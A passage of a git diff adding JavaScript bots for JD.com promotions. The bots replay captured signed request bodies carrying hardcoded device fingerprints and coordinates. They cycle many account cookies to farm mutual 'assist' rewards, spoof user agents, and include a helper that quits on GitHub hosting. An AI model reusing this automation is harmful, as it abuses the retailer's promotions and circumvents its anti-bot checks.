uid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b" + await getCcTaskList(functionId, body, type); + if(Number(id) == 229){ + body = `area=16_1315_3486_59648&body=%7B%22shshshfpb%22%3A%22dPH6zeJy%5C/HFogCIf0ZGFYqSDOShGwmpjVOPM%5C/ViCGC5fgBLL9JoI9mjgUt46vjSFeSkmU9DZLEjFaeFTWBj4Axg%3D%3D%22%2C%22globalLng%22%3A%22118.1423%22%2C%22globalLat%22%3A%2224.49335%22%2C%22monitorSource%22%3A%22ccgroup_ios_index_task%22%2C%22monitorRefer%22%3A%22%22%2C%22taskType%22%3A%222%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22pageClickKey%22%3A%22CouponCenter%22%2C%22lat%22%3A%2224.49441271645999%22%2C%22taskId%22%3A%22necklace_229%22%2C%22lng%22%3A%22118.1447713674174%22%2C%22eid%22%3A%22eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY%5C/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0%5C/dGmOJzfbLuyNo%22%7D&build=167707&client=apple&clientVersion=10.0.4&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=70&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=57453a76ffe9440d7961b05405fb4f13&st=1624535165882&sv=110&uemps=0-0&uts=0f31TVRjBStsz%2BC9YKuTtbGZPv/xrvQQdSUKvavez1nEbzXO4dLo%2BXEvUHAXAd0VPmZqkUNAf2yO/fBM7ImhPYnyBrotzw06Kk7qP6mG42fhA1t5BkW3ZGLaQgPtiuosYOHPMyHpg%2BJ9ZQBP4g3zsSFq2DUWsTOZbb85I4ThMCgqvymyLl48ebUg7aQTle9CfTJVWu5gx0YZ/ScklgN9Pg%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b` + }else if(Number(id) == 260){ + body = `area=16_1315_3486_59648&body=%7B%22shshshfpb%22%3A%22hRRVbEkLST%2BoqUB6fhir%2BfMoJS814u0eqASGoy8xq0vV1m9X9zKoAVYtaZjcO4UsQaWNyUrMVkZK5HBZ5aJo5zQ%3D%3D%22%2C%22globalLng%22%3A%22118.1423%22%2C%22globalLat%22%3A%2224.49335%22%2C%22monitorSource%22%3A%22ccgroup_ios_index_task%22%2C%22monitorRefer%22%3A%22%22%2C%22taskType%22%3A%222%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22pageClickKey%22%3A%22CouponCenter%22%2C%22lat%22%3A%2224.49435886957707%22%2C%22taskId%22%3A%22necklace_260%22%2C%22lng%22%3A%22118.144791637343%22%2C%22eid%22%3A%22eidI0faa812328s1AvGqBpW%2BSouJeXiZIORi9gLxq36FvXhk6SQPmtUFPglIaTIxGXnVzVAwHm%5C/QEwj14SR2vxSgH5tw4rWGdLJtHzSh8bloRLoX8mFY%22%7D&build=167568&client=apple&clientVersion=9.4.2&d_brand=apple&d_model=iPhone12%2C1&eid=eidI0faa812328s1AvGqBpW%2BSouJeXiZIORi9gLxq36FvXhk6SQPmtUFPglIaTIxGXnVzVAwHm/QEwj14SR2vxSgH5tw4rWGdLJtHzSh8bloRLoX8mFY&isBackground=N&joycious=51&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=ebf4ce8ecbb641054b00c00483b1cee85660d196&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=93249982ced7ec850c69de8b3e859dab&st=1624610691429&sv=110&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJSTfJm3Nbyn7GqB7OtrJRuHoZMYV%2Bs0mkEZsSwjxzwlDPXLeepml5BnM5XPZQmPVomYBHlkSfLJWR5D1y0Ovgf60fpjMS2gXL5aLh50cNO3cmx2GvVTaTeYxvRUl%2BpaW7HXsuBhxJgA6pUzd01tBX9yiFih8xvToesg91Nl8KcWGYzXJ2/hWKXg%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b` + }else if(Number(id) == 267){ + body = `area=16_1315_3486_59648&body=%7B%22shshshfpb%22%3A%22dPH6zeJy%5C/HFogCIf0ZGFYqSDOShGwmpjVOPM%5C/ViCGC5fgBLL9JoI9mjgUt46vjSFeSkmU9DZLEjFaeFTWBj4Axg%3D%3D%22%2C%22globalLng%22%3A%22118.1423%22%2C%22globalLat%22%3A%2224.49335%22%2C%22monitorSource%22%3A%22ccgroup_ios_index_task%22%2C%22monitorRefer%22%3A%22%22%2C%22taskType%22%3A%222%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22pageClickKey%22%3A%22CouponCenter%22%2C%22lat%22%3A%2224.49437467152672%22%2C%22taskId%22%3A%22necklace_267%22%2C%22lng%22%3A%22118.1447981202065%22%2C%22eid%22%3A%22eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY%5C/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0%5C/dGmOJzfbLuyNo%22%7D&build=167707&client=apple&clientVersion=10.0.4&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=70&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=64e2361aa2a81068930c0c3325fd45ef&st=1624950832218&sv=111&uemps=0-0&uts=0f31TVRjBSsMGLCxYS3UIqlZl8dbXmnuZ4ayfhN43Ot1QaV41onc66czNm7agt5ZxuI/ZiEjTyLMd9C68bu6j250BhqFBz9aHYMZHRsZRt99av4Tsia77GOWxlDaSYf5ixm0pZhBRR4OQ%2BUBD6%2BPW4wCMOS5CO3/VI2cFHPfi%2BdGNinbfncIha86vGUGuGKiHSAf4rUFY4wrafX6Rksw7g%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b` + }else if(Number(id) == 273){ + body = `area=16_1315_3486_59648&body=%7B%22shshshfpb%22%3A%22dPH6zeJy%5C/HFogCIf0ZGFYqSDOShGwmpjVOPM%5C/ViCGC5fgBLL9JoI9mjgUt46vjSFeSkmU9DZLEjFaeFTWBj4Axg%3D%3D%22%2C%22globalLng%22%3A%22118.1423%22%2C%22globalLat%22%3A%2224.49335%22%2C%22monitorSource%22%3A%22ccgroup_ios_index_task%22%2C%22monitorRefer%22%3A%22%22%2C%22taskType%22%3A%222%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22pageClickKey%22%3A%22CouponCenter%22%2C%22lat%22%3A%2224.494383110087%22%2C%22taskId%22%3A%22necklace_273%22%2C%22lng%22%3A%22118.1447767134287%22%2C%22eid%22%3A%22eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY%5C/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0%5C/dGmOJzfbLuyNo%22%7D&build=167741&client=apple&clientVersion=10.0.8&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=71&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=c5f1773c699259a32596629ff17c77af&st=1627034890276&sv=101&uemps=0-0&uts=0f31TVRjBSuc9dw/M%2Bj%2BYjMPuoLDUbUPjPag%2BZ5OSbdXPyIGbVBxfPOWG8Z24KZdpryfyfoAUE5oYfYi1SuqGZ5atF1ARqzdFrPeo%2BZQVMmuwn/nYDGsLdj0Q9HcidhJXAaY1ti0j023Mv4f/ls51fJl5ypecBgw2sWtd8KiGQncYOe9GxCz6tlkHuSHDk3zN6hF%2BN0deRJOqJP8OOrJog%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b` + }else if(Number(id) == 281){ + body = `area=16_1332_42932_43102&body=%7B%22shshshfpb%22%3A%22hRRVbEkLST%2BoqUB6fhir%2BfMoJS814u0eqASGoy8xq0vV1m9X9zKoAVYtaZjcO4UsQaWNyUrMVkZK5HBZ5aJo5zQ%3D%3D%22%2C%22globalLng%22%3A%22118.541458%22%2C%22globalLat%22%3A%2224.609455%22%2C%22monitorSource%22%3A%22ccgroup_ios_index_task%22%2C%22monitorRefer%22%3A%22%22%2C%22taskType%22%3A%222%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22pageClickKey%22%3A%22CouponCenter%22%2C%22lat%22%3A%2224.49440185204448%22%2C%22taskId%22%3A%22necklace_281%22%2C%22lng%22%3A%22118.1448096802756%22%2C%22eid%22%3A%22eidI0faa812328s1AvGqBpW%2BSouJeXiZIORi9gLxq36FvXhk6SQPmtUFPglIaTIxGXnVzVAwHm%5C/QEwj14SR2vxSgH5tw4rWGdLJtHzSh8bloRLoX8mFY%22%7D&build=167741&client=apple&clientVersion=10.0.8&d_brand=apple&d_model=iPhone12%2C1&eid=eidI0faa812328s1AvGqBpW%2BSouJeXiZIORi9gLxq36FvXhk6SQPmtUFPglIaTIxGXnVzVAwHm/QEwj14SR2vxSgH5tw4rWGdLJtHzSh8bloRLoX8mFY&isBackground=N&joycious=51&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=ebf4ce8ecbb641054b00c00483b1cee85660d196&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=6bf1da7e3c218998ae5bd34a5b9b0d5c&st=1627088377408&sv=122&uemps=0-1&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJPuQXd3Iw2YAKsnsGHXGtpI6DTtbcnaz7p7QeCmsoL2Cl/BMWopi0bEL/HBdhfK3iH/oMP6POfCzGYqGUp9HjUx/7lG%2BGpzuUJ%2B7ZrAQF4UMuG2/9epLOLCkpw4w6EgF4FqamAtXxTBCJZ82M%2Bkm26wJx996BKm7JCzdQfT6pJ0aFbovPOlp71A%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b` + } + if (type === '4') { + // https://h5.m.jd.com/babelDiy/Zeus/2fDwtAwAQX1PJh51f3UXzLhKiD86/index.html + console.log('需等待30秒') + functionId = 'reportSinkTask' + body = `&appid=XPMSGC2019&monitorSource=&uuid=16245525345801334814959&body=%7B%22platformType%22%3A%221%22%2C%22taskId%22%3A%22necklace_${id}%22%7D&client=m&clientVersion=4.6.0&area=16_1315_1316_59175&geo=%5Bobject%20Object%5D` + await $.wait(15000); + } else { + // https://h5.m.jd.com/babelDiy/Zeus/3TcqzbLKXwyiGDzrn5nKV7sSEC8N/index.html + console.log('需等待15秒') + functionId = 'reportCcTask' + } + await $.wait(1600); + await getCcTaskList(functionId, body, type); +} +function getCcTaskList(functionId, body, type = '3') { + let url = `https://api.m.jd.com/client.action?functionId=${functionId}` + return new Promise(resolve => { + if (functionId === 'getCcTaskList') { + + } + if (functionId === 'reportCcTask'){ + + } + if (functionId === 'reportSinkTask'){ + url += body + body = '' + } + // if (type === '4' && functionId === 'reportCcTask'){ + // url = `https://api.m.jd.com/client.action?functionId=${functionId}&body=${escape(JSON.stringify(body))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1622193986049&sign=f5abd9fd7b9b8abaa25b34088f9e8a54&sv=102` + // body = `body=${escape(JSON.stringify(body))}` + // } + const options = { + url, + body, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Length": "63", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Origin": "https://h5.m.jd.com", + "Cookie": cookie+`joyytoken=${"50082" + $.joyytoken};`, + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/4ZK4ZpvoSreRB92RRo8bpJAQNoTq/index.html", + "User-Agent": $.UA, + } + } + $.post((options), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + if (type === '3' && functionId === 'reportCcTask') console.log(`点击首页领券图标(进入领券中心浏览15s)任务:${data}`) + if (type === '4' && functionId === 'reportSinkTask') console.log(`点击“券后9.9”任务:${data}`) + // data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskPostUrl(function_id, body = {}) { + const time = new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000; + return { + url: `${JD_API_HOST}?functionId=${function_id}&appid=coupon-necklace&loginType=2&client=coupon-necklace&t=${Date.now()}`, + body:`body=${escape(JSON.stringify(body))}`, + headers: { + 'Host': 'api.m.jd.com', + 'accept': 'application/json, text/plain, */*', + 'content-type': 'application/x-www-form-urlencoded', + 'origin': 'https://h5.m.jd.com', + 'accept-language': 'zh-cn', + 'User-Agent': $.UA, + 'referer': 'https://h5.m.jd.com/', + 'cookie': cookie+`joyytoken=${"50082" + $.joyytoken};` + } + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function getUA(){ + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` + $.UUID = $.UA.split(';') && $.UA.split(';')[4] || '' + $.joyytoken = '' +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_olympicgames.js b/backUp/jd_olympicgames.js new file mode 100644 index 0000000..8a31a23 --- /dev/null +++ b/backUp/jd_olympicgames.js @@ -0,0 +1,539 @@ +/* +全民运动会 +更新时间:2021-7-8 +活动入口:首页右侧下方 +备注:暂时先互助,优先向前助力 +1 10 * * * https://raw.githubusercontent.com/cdle/jd_study/main/jd_olympicgames.js +*/ +const $ = Env("全民运动会") +const ua = `jdltapp;iPhone;3.1.0;${Math.ceil(Math.random()*4+10)}.${Math.ceil(Math.random()*4)};${randomString(40)}` +let cookiesArr = [] +let cookie = '' +let inviters = [] +let uuid = randomString(40); + +!(async () => { + await requireConfig() + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + return; + } + len = cookiesArr.length + for (let i = 0; i < len+4; i++) { + if (cookiesArr[i % len]) { + cookie = cookiesArr[i % len]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + success = 0 + inviters: for(var key in inviters){ + if(inviters[key].index==i % len || inviters[key].times >= inviters[key].maxTimes){ + continue + } + assist = await requestApi("assist",{ + inviteId: inviters[key].id, + type:"confirm", + ss:"{\"extraData\":{\"log\":\"\",\"sceneid\":\"OY217Inviteh5\"},\"random\":\""+randomString(8)+"\"}", + }) + if(!assist?.data){ + continue + } + switch (assist.data.bizCode) { + case 0: + console.log(`账号${i%len+1}助力账号${inviters[key].index+1}成功`) + inviters[key].times++ + success++ + if(success>=3){ + break inviters + } + break + case -403://帮过 + console.log(`账号${i%len+1}助力过账号${inviters[key].index+1}了`) + break + case -405: + console.log(`账号${i%len+1}没有助力次数了`) + break inviters + case -1001://火爆 + console.log(`账号${i%len+1}是黑号`) + break inviters + default: + break inviters + } + } + if(i>=len) continue + helpInfo = {} + taskInfo = await requestApi("getTaskDetail",{appSign: "1"}) + if (!taskInfo?.data?.result?.inviteId) continue + helpInfo.id = taskInfo?.data?.result?.inviteId + taskInfo.data.result.taskVos.forEach(function (task) { + if(task.taskName == "邀请好友助力"){ + if (task.times < task.maxTimes) { + helpInfo.maxTimes = task.maxTimes + helpInfo.times = task.times + helpInfo.index = i%len + inviters.push(helpInfo) + } + } + }); + } + } +})() + +function requestApi(functionId, params) { + if (!params) { + params = {} + } + return new Promise(resolve => { + $.post({ + url: `https://api.m.jd.com/client.action?advId=olympicgames_${functionId}`, + headers: { + 'Host': 'api.m.jd.com', + 'accept': 'application/json, text/plain, */*', + 'content-type': 'application/x-www-form-urlencoded', + 'origin': 'https://wbbny.m.jd.com', + 'accept-language': 'zh-cn', + 'User-Agent': ua, + 'cookie': cookie + }, + body: `functionId=olympicgames_${functionId}&body=${JSON.stringify(params)}&client=wh5&clientVersion=1.0.0&uuid=${uuid}&appid=o2_act`, + }, (_, resp, data) => { + try { + data = JSON.parse(data) + } catch (e) { + $.logErr('Error: ', e, resp) + } finally { + resolve(data) + } + }) + }) +} + +function requireConfig() { + return new Promise(resolve => { + notify = $.isNode() ? require('./sendNotify') : ''; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + resolve() + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} 